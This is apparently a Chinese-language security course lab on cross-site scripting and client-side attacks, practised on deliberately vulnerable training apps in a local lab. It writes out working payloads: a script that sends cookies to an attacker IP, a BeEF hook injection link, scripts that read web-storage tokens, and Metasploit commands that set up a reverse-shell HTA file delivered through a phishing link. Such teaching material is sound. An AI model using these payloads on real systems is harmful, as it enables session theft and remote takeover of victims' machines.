项目5 使用跨站脚本攻击客户端

任务 1 使用浏览器绕过客户端控制

一、相关知识与技能

通过检查器发现所有的按钮都是一个名称:action,它们的值是按钮被按下后要执行的操作。(这些可以通过看开发者工具中的network 选项卡看到)所以当发现SearchStaff,ViewProfile, ListStaff 这样的操作时,也许 DeleteProfile 可以达成不一样的效果。

二、实验内容:

1. 登陆 WebGoat,点击 Access ControlFlaws,转到 LAB:RoleBased Access Control→Stage 1:Bypass Business Layer Access Control

2. 使用 tomcat 的登陆凭证(tomtom)登陆这个表单,并用 F12 启用 firefox的开发者工具。

3. 来检查一下员工表单。

4. 转到开发者工具中的 Network 选项卡并单击 ViewProfile

5. 单击 ListStaff 返回列表。

6. 更改为开发者工具中的 Inspector 选项卡。

7. 双击标记的值(105)将其改变为 101

8. 再次点击 ViewProfile

9.WebGoat 给的目标是使用 tom 的账户删除 tom 的个人信息。

10.ViewProfile 按钮

11. 名称是 action,值为 ViewProfile,将其改为 DeleteProfile

12. 点击 DeleteProfile 后,即可完成目标任务。

任务 2 识别跨站脚本漏洞

一、相关知识与技能

XSS 漏洞发生在服务器端和客户端对输入执行弱验证或不进行验证,且输出没有正确编码的情况下。这意味着该应用程序允许引入 HTML 代码中使用的字符,并且在将它们发送到页面时,不进行任何编码(例如使用 HTML 转义<>,以防止它们被解释为 HTML  Javascript 源代码)

二、实验内容:

1. 将使用易受攻击的 Web 应用程序(DVWA)来完成这个小节。使用默认的管理凭据(admin 作为用户名和密码)登录,然后到 XSS reflected(反射 XSS)。

2. 测试漏洞的第一步是观察应用程序的正常响应。在文本框中填写一个名称字符串并且点击提交。

3. 应用程序使用的是输入的字符串。

4. 在文本框输入的任何内容都将出现在响应中。

5. 在普通输入的后面加上非常简单的脚本代码:

Bob<script>alert('xss')</script>

6.检查源代码。

 

任务 3 利用 XSS 获取 Cookie

一、相关知识与技能

XSS 此类的攻击中,必须有用户的交互才能触发漏洞,那么这种情况下由于攻击者并不知道何时用户才会点击或者触发漏洞,所以攻击者必须有一个可以时刻监听payload 是否被触发的服务器。

二、实验内容:

1. Kali Linux 的终端上运行以下命令来开启 HTTP 服务。

2.然后登陆 DVWA,再转到 XSS reflection 下;

3.在文本框中输入以下内容(192.168.56.10  Kali 主机 IP 地址):

Bob<script>

document.write('<imgsrc="http://192.168.56.10:88/'+document.cookie+'">');

</script>

4.查看终端。

 

任务 4 利用 DOM XSS

一、相关知识与技能

首先分析了程序的流程,注意到它没有连接到服务器,因此向页面添加信息,并且它反回了用户给出的值。然后分析了将数据添加到浏览器内部存储的脚本代码,并注意到这些数据可能无法验证是否合法,而且通过innerHTML 属性呈现给用户。对于输入的值,这将意味着数据被视为 HTML 代码,而不是文本。

二、实验内容:

1.在易受攻击的虚拟机 VM_1 中,转到 Mutillidae II |OWASP 2013 | XSS | DOM | HTML5 Storage

2.这个练习会展示一个表单,用于在浏览器的本地记录中存储信息和相应的session。然后在网络选项卡中启用开发人员工具。

3.尝试添加一些数据,发现在开发者工具中并没有进行网络通信。

4.如果检查"AddNew"按钮,看到它在单击时调用了一个函数addItemToStorage

5.转到 Debugger 选项卡并查找 addItemToStorage 函数。

6.尝试设置一个包含 HTML 代码的键值。

7.添加一个新条目,其中包含以下键值:

Cookbooktest <img src = X onerror ="alert('DOM XSS')">

 

任务 5 利用 BeEF 执行 XSS 攻击

一、相关知识与技能

使用 script 标记中的 src 属性来调用外部 JavaScript 文件。是调用了 BeEF 服务器的钩子(hook.js)。这个 hook.js 文件与服务器通信,执行命令,并返回响应,以便攻击者可以看到;它不会在客户端浏览器中打印任何内容,因此受害者通常不会知道他的浏览器已经被劫持。

二、实验内容:

1. 想象你是受害者(如 Win7 主机),收到了一封包含 XSS 链接的电子邮件(或网页),若你点击它,访问了该链接:

http://192.168.56.11/bodgeit/search.jsp?q=<scriptsrc="http://192.168.56.10:3000/hook.js"></script>

2.  BeEF 面板中,攻击者将看到一个浏览器上线。

3. 在浏览器中查看 Logs 选项卡,可以看到 BeEF 存储了用户在浏览器窗口中执行的操作的信息。

4. 转到攻击者浏览器中的 Commands 选项卡,进入模块目录,转到浏览器中的Persistence | Man-In-The-Browser,然后单击 Execute 执行它。

5. 模块执行后,在模块的历史记录中选择相关命令。

6. 在模块目录中,到 Browser | GetCookie,点击Execute 来获取用户的 Cookie

 

任务 6 从 Web 存储中提取信息

一、相关知识与技能

了解如何使用浏览器的开发人员工具来查看和编辑浏览器存储的内容。验证了本地存储和会话存储之间的可访问性差异,以及 XSS 漏洞如何将所有存储的信息暴露给攻击者。

二、实验内容:

1. Kali 主机中,浏览 Mutillidae IIhttp://192.168.56.11/mutillidae)并在菜单中转到 HTML5 | HTML5 WebStorage(存储) |HTML 5 Storage

2. 打开开发人员工具,转到 Storage(存储)选项卡,再转到 Local Storage(本地存储)并选择服务器地址(192.168.56.11)。

3. 切换到 Session Storage(会话存储)并选择服务器地址。

4. 在同一浏览器上,打开一个新选项卡,然后转到BodgeIthttp://192.168.56.11/bodgeit/)。

5.BodgeIt 的搜索易受 XSS 攻击,输入以下有效载荷,在搜索框中执行它:<script>alert(window.localStorage.MessageOfTheDay);</script>

6. 尝试使用会话存储:

<script>alert(window.sessionStorage.getItem("Secure.AuthenticationToken"));</script>

7.由于无法从其他窗口访问会话存储,返回MutillidaeII 选项卡并转至 OWASP2013 | XSS | Reflected(First Order)(反映的第一顺序) | DNS Lookup(DNS 查找)

8."Hostname/IP"字段中,输入前面的有效内容并单击"LookDNS"(查找 DNS)按钮。

 

 

任务 8 使用 XSS 和 Metasploit 获取远程 shell

一、相关知识与技能

HTA 是可以不受网页浏览器安全模式的限制来执行程序,它是一种 HTML 应用程序。使用 Metasploit 生成恶意的 HTA 文件并开启本地服务来托管它,恶意文件包含一个反向 shell,反向 shell 是一个程序,当受害者执行它时,它将连接到攻击者的服务器,而不是在受害者中打开一个端口来等待连接传入。

二、实验内容:

1. 打开 Metasploit 控制台:

msfconsole

2. 启动后,使用以下命令加载 exploit 模块和 payload

useexploit/windows/misc/hta_server

setpayload windows/shell/reverse_tcp

3. 设置 server 的监听端口为 8888

setsrvport 8888

4. 设置本地 IP 及本地监听端口为 12345

setlhost 192.168.56.10

setlport 12345

show options

5.运行 exploit 等待客户端连接: run

6.现在切换到 Windows 虚拟机,打开 IE 浏览器

7.假设攻击者发送了一封包含下面链接的钓鱼电子邮件给受害者,在 IE(在 IE浏览器的安全设置中禁用”XSS 筛选器)中打开它。

http://192.168.56.11/bodgeit/search.jsp?q=t<iframesrc="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe>

8.如果你的骗人的手段足够高,就可以使得用户接受不安全警告下载执行恶意文件。

9.当提示运行、保存或者取消时,选择运行 HTA 文件。

10.切换回 Kali

11.执行 ipconfig 命令来查看受害者的 IP 信息。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值